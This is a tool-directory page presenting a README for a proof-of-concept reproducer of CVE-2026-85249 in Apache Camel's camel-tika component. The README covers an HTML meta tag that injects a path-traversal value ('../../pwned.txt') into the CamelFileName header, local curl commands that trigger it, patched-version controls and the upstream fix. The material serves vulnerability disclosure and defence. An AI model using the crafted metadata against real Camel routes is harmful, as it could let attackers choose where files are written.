Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-85249 — Runnable Spring Boot and Quarkus reproducer for CVE-2026-85249, demonstrating camel-tika metadata header injection into CamelFileName with affected and fixed controls. | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-85249
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHuboscerd/cve-2026-85249

CVE-2026-85249

Runnable Spring Boot and Quarkus reproducer for CVE-2026-85249, demonstrating camel-tika metadata header injection into CamelFileName with affected and fixed controls.

View Repository
31 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-85249 — camel-tika: metadata header injection (document sets CamelFileName)

Runnable proof-of-concept reproducer for the Apache Camel vulnerability where the Tika producer mapped every metadata key parsed out of the submitted document onto the Exchange as a header, with no filter applied. Document metadata is attacker-controlled content: the party that supplies the file chooses the metadata keys it carries. A crafted document could therefore set Exchange headers the rest of the route depends on, including Camel-namespace headers such as CamelFileName, which downstream components use to decide where content is written. It is the same header-injection class as the consumer advisories, reached here through parsed file content rather than a protocol header.

RuntimeDirectoryStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-tika 4.22.0 (affected; fixed 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.39.0 + camel-quarkus-tika (Camel 4.22.0, affected; fixed control CQ 3.40.0 / Camel 4.22.1)

Both modules demonstrate the affected and the fixed behaviour.

What it demonstrates

The attacker submits an HTML document — an HTML <meta name="..."> attribute reaches Tika's metadata verbatim, so the document chooses the header names:

<meta name="CamelFileName" content="ATTACKER-SET-../../pwned.txt"/>
<meta name="author" content="legitimate-metadata"/>

The route is simply from(...).to("tika:parse"). After parsing, the Exchange headers are inspected.

  • Affected: CamelFileName (Exchange.FILE_NAME) is set to the attacker's value from the document. A downstream file producer would use that attacker-chosen value to decide where content is written.
  • Fixed: CamelFileName is filtered out (not set from the document), while ordinary metadata such as author is still mapped — the filter blocks only the Camel-internal namespace.
# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected: document sets CamelFileName; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85249-tika-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: CamelFileName filtered; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected (Camel 4.22.0): document sets CamelFileName
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: CamelFileName filtered

Vulnerability Summary

PropertyValue
Componentcamel-tika (TikaProducer.convertMetadataToHeaders)
CWECWE-20 (Improper Input Validation)
SeverityMEDIUM
Attack vectorA submitted document whose parsed metadata declares Camel-internal header names (e.g. via HTML <meta name="CamelFileName">)
ImpactHeader injection: a document sets Exchange headers the route relies on, such as CamelFileName which decides where downstream components write content
Affected VersionsFrom 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1
Fixed Versions4.18.5, 4.22.1, 4.23.0
JIRACAMEL-24423
CreditClaude Security Scan Tool

Advisory: https://camel.apache.org/security/CVE-2026-85249.html

The fix

TikaProducer.convertMetadataToHeaders now filters each parsed metadata name through a HeaderFilterStrategy (configured with inFilterStartsWith("Camel", "camel", "org.apache.camel."), case-insensitive) before mapping it onto the Exchange — the same way a consumer filters names supplied by an external sender — so a document cannot declare a metadata name that lands in the Camel-internal namespace. Metadata outside that namespace is still mapped.

Mitigation if you cannot upgrade

Strip the Camel namespace after the Tika producer with removeHeaders("Camel*") before any component that acts on those headers.

Disclaimer

This repository is published for educational and defensive purposes: to help Apache Camel users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. The crafted document and the injected filename are inert local fixtures. Do not use this material against systems you do not own or operate.

Download Tool